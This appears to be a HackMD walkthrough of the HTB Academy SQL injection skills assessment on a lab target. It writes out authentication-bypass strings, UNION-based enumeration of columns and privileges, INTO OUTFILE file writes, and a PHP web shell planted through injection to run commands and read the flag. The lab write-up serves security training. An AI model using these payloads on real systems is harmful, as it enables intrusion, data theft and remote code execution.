---
title: 'Skills Assessment - SQL Injection Fundamentals'
disqus: hackmd
---
Skills Assessment-SQL Injection Fundamentals
===
## Table of Contents
[TOC]
Introduction
---
Many web applications are served by a database on the back-end whose main function is to store and retrieve relevant data. When the client makes a request, the application's server issues queries to the database to fetch the requested information.
Sometimes, user-supplied information is used to construct the database query, which creates a leeway for malicious users to manipulate the queries. This makes the database return information that was not originally intended by the programmer.The SQL Injections Fundamentals module on HTB academy explains in great detail the various ways that a malicious actor can subvert the web application logic. You can also use the free labs provided by portswigger academy to test the knowledge gained from HTB academy.
To complete the SQL Injections skills assessment you need to be familiar with:
1. Authentication Bypass
2. Union Attacks
3. File Injection Attacks
## Briefing
The company Inlanefreight has contracted you to perform a web application assessment against one of their public-facing websites. In light of a recent breach of one of their main competitors, they are particularly concerned with SQL injection vulnerabilities and the damage the discovery and successful exploitation of this attack could do to their public image and bottom line.
They provided a target IP address and no further information about their website. Perform a full assessment of the web application from a "grey box" approach, checking for the existence of SQL injection vulnerabilities.
Find the vulnerabilities and submit a final flag using the skills we covered to complete this module. Don't forget to think outside the box!
Walkthrough
---
When you visit the IP address given in the question you find the login page of the company's website.
The first thing we need to do is test for SQLi vulnerability. This is often done by injection a single quote (') or double quote (")to escape the limits of user input. Typically, one would start with testing common default credentials on a login page to observe the behavior of the website. The most commonly used credentials are admin:admin (username:password. Testing these on our website results in the error message "Incorrect Credentials"
Let's assume that there exists a database with a valid account whose credentials are admin:p@ssword. From your previous studies, you are aware that the sql query being executed is
```gherkin=
SELECT * FROM <table_name> WHERE username='admin' AND password = 'p@ssw0rd';
```
We can try to inject any of the payloads below after the username to observe the behavior of the website:
| Payload | URL Encoded
| -------- | -------- |
| ' | %27 |
| " | %22 |
| # | %23 |
| ; | %3B |
| ) | %29 |
Note: In some cases, we may have to use the URL encoded version of the payload. An example of this is when we put our payload directly in the URL
If the payload causes an error or change in behavior in the page, it means that the SQL query was successfully interrupted. This confirms that the site is vulnerable to SQLi. However, sometimes an application can be vulnerable to SQLi but the HTTPs response does not return the results of the relevant SQL query or details of any database errors. This is called a blind SQL injection. Portswigger academy has several labs and payloads that you can use to test for blind SQLi. It is important to be aware of how to test and exploit blind SQLi before you conclude that the application that you are testing is not vulnerable. However we will not be exploring blind SQLi in today's walkthrough.
There are many cheat sheets on the internet containing payloads that you can use for authentication bypass. Since we don't have any valid username or password to use to login, we must inject a payload so that the query returns TRUE no matter what we type as the username or password. To do this, we will inject an OR condition on the username and password fields.The following 2 payloads worked for me:
```gherkin=
admin 'OR 1=1#
admin' or '1'='1'-- -
```
Upon successful login, we come across the page below:
We will be making use of UNION injection to perform our attack. A union attack allows us to retrieve data from other tables in the database other than the ones on display on the screen.To carry out an SQL injection UNION attack, we need to ensure that our attack meets 3 key requirements. This generally involves figuring out:
1. How many columns are being returned from the original query? I find that there are two ways to go about this: using the ORDER BY method or the UNION method.
* *' ORDER BY 1,2,3,4,5-- -* When we use the ORDER BY (value)method, we are simply telling the database to sort the results by the specified column (1,2,3...). Here, the value represents the number of columns that we suspect the table contains. We will change the value until an error occurs or the behavior of the application changes. So how do we establish how many columns are in the db table? If we fail at ORDER by 4, it means that we asked the database to sort the data from a column that doesn't exist hence, the table only has 3 columns.
* *' UNION select 1,2,3-- -* When using the UNION method, we simply try a union injection using a different number of columns until the database accepts it. This means that we may get an error or no results until our query matches the actual number of columns in the table. Typically, we use numbers to fill dummy data in the columns but in more advanced SQLi attacks we may have to use 'NULL' to fill other columns, as 'NULL' fits all data types.
3. Which is the ideal location of the injection? While a query may return multiple columns, the web application may only display some of them. So, if we inject our query in a column that is not printed on the page, we will not get its output. This is the benefit of using numbers as our junk data, as it makes it easy to track which columns are printed, so we know at which column to place our query.
4. Which of the displayed columns are of a suitable data type to hold the results from the injected query? Here, we gradually replace the 'NULL' value in each column with the data type we want to extract to see which column is compatible.
We will try to figure out the number of columns and which ones are displayed by injecting the following payload in the search bar:
```gherkin=
' ORDER BY 6-- -
```
The page displays the error below when the column order requested exceeds the number of columns existing in the table.
Using the union method, the payload below will result an error until the number of columns match.
```gherkin=
' UNION select 1,2,3,4-- -
```
We have established that there are 5 columns and the union payload also reveals that columns 2,3,4&5 are the only ones displayed on the screen.
We need to know whether we have the privileges to read/write data. Let's start by finding out the current logged in user. Any of the payloads below works.
```gherkin=
' UNION SELECT 1,USER(),3,4,5-- -
' UNION SELECT 1, user, 3, 4 from mysql.user-- -
```
Note: If by chance we were not a privileged user, we would use a UNION injection to retrieve users and their passwords. We can either retrieve all users or try some users who typically have high-level privileges like admin or root.
We then check what privileges our user has:
```gherkin=
' UNION SELECT 1, super_priv, 3, 4, 5 FROM mysql.user-- -
```
The response is Y which confirms that the user has superuser privileges.We are especially interested in knowing if the user has the 'FILE' privileges which allow the reading and potential writing of files in the db. To dump all rights we can use the following payload:
```gherkin=
' UNION SELECT 1, grantee, privilege_type, 4 FROM information_schema.user_privileges-- -
```
Adding the WHERE user="root" displays only our current user root privileges. I removed this particular clause because it resulted in the following error "Unknown column 'user' in 'where clause'"
To be able to write files to the back-end server using a MySQL database, we require three things:
1. User with FILE privilege enabled
1. MySQL global secure_file_priv variable not enabled. This variable determines where the db has write access in the filesystem. We typically expect it to have 3 values:
* Empty: access to the entire filesystem
* Specific directory: access to only that folder in the system
* NULL: no read/write access to any file in the system
3. Write access to the location we want to write to on the back-end server
Mariadb has this value empty by default but MySQL uses the default folder /var/lib/mysql-files.
The secure_file_priv variable can be read from the INFORMATION_SCHEMA db, global_variables table, from the variable_name and variable_value columns. Let's use the UNION and WHERE clauses to filter data specific to our variable.
```gherkin=
' UNION SELECT 1, variable_name, variable_value, 4, 5 FROM information_schema.global_variables where variable_name="secure_file_priv"-- -
```
The variable value is empty so we have access to the entire file system. Let's try to write a text file to the web root to verify the write permissions using the payload:
```gherkin=
' union select 1,'file written successfully!',3,4,5 into outfile '/var/www/html/proof.txt'-- -
```
Note: We must know the web directory of the web server. This can be found by using load_file in the payload to read the server configuration file. Information about the location of configuration files of different dbs can be found online. We can also run a fuzz scan to try and write files to different possible web roots. If none of the two previous methods work, we can use the server errors to guess the location of the web root.
We get the following error "Can't create/write to file '/var/www/html/proof.txt' (Errcode: 13 "Permission denied")" Taking a root at the URL we notice that the web page is running in the dashboard directory "/dashboard/dashboard.php". Let's try adding that to the path of our initial payload
```gherkin=
' union select 1,'file written successfully!',3,4,5 into outfile '/var/www/html/dashboard/proof.txt'-- -
```
This time there is no error and we can confirm the file was written by visiting http://SERVER_IP:PORT/dashboard/proof.txt
If we try to use the same payload to write the file we get an error that it already exists which confirms that the injection worked.
"File '/var/www/html/dashboard/proof.txt' already exists"
We can now write a web shell to allow us to execute commands directly on the back end server:
```gherkin=
' union select "",'<?php system($_REQUEST[0]); ?>', "", "", "" into outfile '/var/www/html/dashboard/shell.php'-- -
```
We are using double quotes instead of numbers to make the output look better. The payload doesn't result in an error. We can confirm our injection worked at: http://SERVER_IP:PORT/dashboard/shell.php?0=id
Let's now use the payload to search through the file system. We can start by printing the working directory:
```gherkin=
' union select "",'<?php system(pwd); ?>', "", "", "" into outfile '/var/www/html/dashboard/shell1.php'-- -
```
The results from https://IP:PORT/dashboard/shell1.php are /var/www/html/dashboard
Let's navigate to the root directory with the payload:
```gherkin
' union select "",'<?php system("dir /"); ?>', "", "", "" into outfile '/var/www/html/dashboard/shell2.php'-- -
```
navigating to https://IP:PORT/dashboard/shell2.php lists the contents of the root directory where we can see a flag file.
Let's load the file to read its contents using the payload:
```gherkin=
' UNION SELECT 1,LOAD_FILE("/flag_cae1dadcd174.txt"),3,4,5-- -
```
We successfully get the contents displayed on the screen.
###### tags: `HTB` `SQL Injections`
Sign in with Wallet
Connect another wallet